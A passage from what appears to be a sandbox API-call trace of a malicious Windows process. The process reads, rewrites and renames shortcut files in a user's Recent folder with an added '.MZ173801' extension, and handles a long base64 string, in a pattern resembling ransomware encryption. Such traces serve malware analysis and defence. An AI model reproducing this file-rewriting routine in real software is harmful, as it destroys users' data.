dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.169] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.169] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.169] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x9f1 [0122.169] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.169] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x9f1, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x9f1, lpOverlapped=0x0) returned 1 [0122.170] CloseHandle (hObject=0x288) returned 1 [0122.171] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UgL4-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ugl4-.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.172] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x9f1, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x9f1, lpOverlapped=0x0) returned 1 [0122.172] CloseHandle (hObject=0x288) returned 1 [0122.185] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UgL4-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ugl4-.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UgL4-.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ugl4-.lnk.mz173801")) returned 1 [0122.187] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee14f60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdee14f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdee14f60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3cd, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="UUhFJl.mkv.lnk", cAlternateFileName="UUHFJL~1.LNK")) returned 1 [0122.187] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.187] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.187] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UUhFJl.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\uuhfjl.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee14f60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdee14f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdee14f60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3cd)) returned 1 [0122.189] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.189] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.191] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UUhFJl.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\uuhfjl.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.191] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.191] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.191] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x3cd [0122.191] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.191] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x3cd, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x3cd, lpOverlapped=0x0) returned 1 [0122.192] CloseHandle (hObject=0x288) returned 1 [0122.193] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UUhFJl.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\uuhfjl.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.193] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x3cd, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x3cd, lpOverlapped=0x0) returned 1 [0122.194] CloseHandle (hObject=0x288) returned 1 [0122.197] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UUhFJl.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\uuhfjl.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UUhFJl.mkv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\uuhfjl.mkv.lnk.mz173801")) returned 1 [0122.198] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf539160, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf539160, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf539160, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa04, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Vl wwF.lnk", cAlternateFileName="VLWWF~1.LNK")) returned 1 [0122.198] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.198] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.199] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Vl wwF.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vl wwf.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf539160, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf539160, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf539160, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa04)) returned 1 [0122.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.202] CreateFileW 